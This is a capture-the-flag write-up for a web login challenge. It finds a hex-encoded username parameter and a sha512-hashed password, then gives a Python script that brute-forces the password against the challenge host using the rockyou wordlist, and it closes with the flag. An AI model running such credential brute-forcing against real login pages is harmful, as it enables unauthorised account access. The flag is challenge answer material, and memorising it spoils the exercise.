If we are looking in the HTML we can see that the forms name input is **name**, not **username,** like the one we are redirected when we upload an user and a password :

```
<h1>ADMIN PANEL</h1>
<form method="post" action="/login">
    <label for="name">User name</label>
    <input type="text" id="name" name="name">
    <label for="password">Password</label>
    <input type="password" id="password" name="password">
    <button type="submit">Login</button>
</form>
```

For example, if I upload admin and admin, the URL is :

*http://35.246.235.150:30975/auth?**username**=61646d696e&password=c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec*

And we got a blank page. If we replace **username** with **name**, we can see **Invalid user** :

*http://35.246.235.150:30975/auth?**name**=61646d696e&password=c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec*

```
Invalid user
```

Now we have to guess the username. If we look at the requirement, we can see that ***Alex had to do a simple login page***, so the username is Alex. If we enter on :

*http://35.246.235.150:30975/auth?**name=416c6578**&password=87197acc4657e9adcc2e4e24c77268fa5b95dea2867eacd493a0478a0c493420bfb2280c7e4e579a604e0a243f74a36a8931edf71b088add09537e54b11ce326*

We can now see the **Invalid password** statement. We have to brute force the password. Also, the name is written in HEX and the password in sha512. If we upload the previous password on CrackStation, we can see it's a sha512, or upload it on Cipher identifier when you don't know the cipher.

The password can be cracked with the following python code :

```
import hashlib
import requests
```

```python
def sha512_hash(text):
    return hashlib.sha512(text.encode('utf-8')).hexdigest()

def check_password(password):
    hashed_password = sha512_hash(password)

    url = f"http://35.246.235.150:30975/auth?name=416c6578&password={hashed_password}"

    try:
        response = requests.get(url)

        if "Invalid password" not in response.text:
            print(f"Password : {password}")
            print(response.text)
            return True
        else:
            print(f"Tried : {url}")
            return False

    except requests.exceptions.RequestException as e:
        print(f"Error connecting to server: {e}")
        return False

def main():
    try:
        with open("rockyou.txt", "r", encoding="utf-8", errors="ignore") as file:
            for line_num, line in enumerate(file, 1):
                password = line.strip()

                if check_password(password):
                    break

    except Exception as e:
        print(f"Error : {e}")

if __name__ == "__main__":

    main()
```

THE FLAG :
CTF{bf3dd66e1c8e91683070d17ec2afb13375488eee109a0724bb872c9d70b7cc3d}
~Z4que